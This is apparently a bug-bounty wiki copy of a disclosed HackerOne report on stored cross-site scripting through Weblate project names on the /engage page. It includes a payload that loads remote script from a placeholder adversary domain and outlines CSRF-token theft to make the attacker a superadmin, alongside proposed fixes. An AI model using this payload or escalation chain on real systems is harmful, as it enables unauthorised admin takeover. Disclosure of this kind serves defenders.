Skip to content
XSS Disclosed report Intermediate

Stored XSS @ /engage/<project_slug>

A project's name is rendered without escaping on the /engage/<project_slug> page, allowing a stored cross-site scripting payload. An attacker with project-admin rights could run script in a victim's browser, but the report notes the name length limit and CSP currently block straightforward exploitation.

lgian Follow

Originally disclosed on HackerOne

  • Triaged in 14 hours
  • Fixed in 14 hours
  • Disclosed after 6 months

Description

The vulnerability concerns a Stored XSS, while it is currently (to the best of my knowledge) not exploitable due to limitations stated below. I thought that the issue is worth reporting anyway.

Steps to reproduce

  1. Change a project's name (or create one) to the following payload:
    <script src="http://<adversery_domain>/payload.js"></script>, where <adversary_domain> could be any domain that you own. For testing purposes you can host the javascript file on localhost.
  2. Navigate to /engage/<project_slug>, where <project_slug> is the project's url slug.
  3. Any javascript payload you host will be executed under the origin of weblate.

Referenced code

The code that is the root cause for the vulnerability is under: weblate/trans/views/basic.py:show_engage:123, where show_engage is the view called for the /engage/<project_slug> url.

Caveats

  1. A project's name is limited to 60 characters, therefore we cannot inject our payload straight into it. A bypass for that is the one referenced in step 1, where we load an external javascript file from a domain we own.
  2. By default the application's CSP only allows scripts from certain domains (cdnjs etc.). Although, the default CSP allows unsafe-inline when any CDN is enabled.
  3. The session cookie is uses the attributes HttpOnly and SameSite=lax, therefore hijacking the superadmin's session token is impossible (for most browsers).
  4. In order to perform the attack, you have to own a user account that can change a project's name, which is true for any project administrator.

Possible bypasses

  1. A project's name character limit is extended.
  2. Since the application supports file uploads and the CSP allows scripts coming from self (current domain), one could upload their payload to the Weblate installation. This bypass would require an endpoint that accepts uploading HTML/javascript content and stores it under the media uploads.

Proof of Concept

In order to get any value of the present XSS, since we cannot steal the superadmin's session token, we can perform any action as the superadmin. That is because we can issue any GET/POST request and read the response, since we operate under the same origin as the hosted application. As mentioned before, in order to perform the following attack, we need a user account that can change a project's name.

  1. Issue a GET request under admin/weblate_auth/user/ in order to find our user record's ID.
  2. Issue a GET request under admin/weblate_auth/user/5/change/, assuming that the ID is 5 for instance.
  3. Read the previous' request's response in order to steal the csrfmiddlewaretoken that Django injects to protect against such attacks.
  4. Issue a POST request using the above information to make our user a superadmin.

The payload.js that automatically does the steps 2-4 is attached to the report (except for parsing the response for csrftokenmiddlware, which is trivial using javascript).

Proposed fixes

  1. Escape the project's name using django's escape function before output
  2. Remove the unsafe-inline directive from the CSP when CDNs are enabled.

Impact

Given a bypass to either the project's name character limit or the CSP, any user that has the ability to change a project's name can make themselves a superuser through CSRF.

The original report as published on HackerOne, by lgian. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the project name is output without HTML escaping in the show_engage view.

Impact

If the name length limit or CSP were bypassed, a project administrator could run script as a victim and, because the session cookie is HttpOnly, perform actions such as making themselves a superuser rather than stealing the session token.

What the attacker needed

A user account that can change a project's name; a domain you control to host the script; a bypass of the 60-character name limit or CSP

The fix

The project name should be escaped before output, and the unsafe-inline CSP directive should be removed when CDNs are enabled.

How it was found

  1. Change or create a project name containing a script tag that loads an external JavaScript file from a domain you control.
  2. Navigate to the /engage/<project_slug> URL for that project.
  3. The hosted JavaScript payload executes under the application's origin.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A project name is shown on a page without being made safe, so if someone puts code in the name it can run in another user's browser. That kind of injected code is called cross-site scripting. The report says two protections, a 60-character limit and a content security policy, currently stop it from being easily used.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Weblate

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.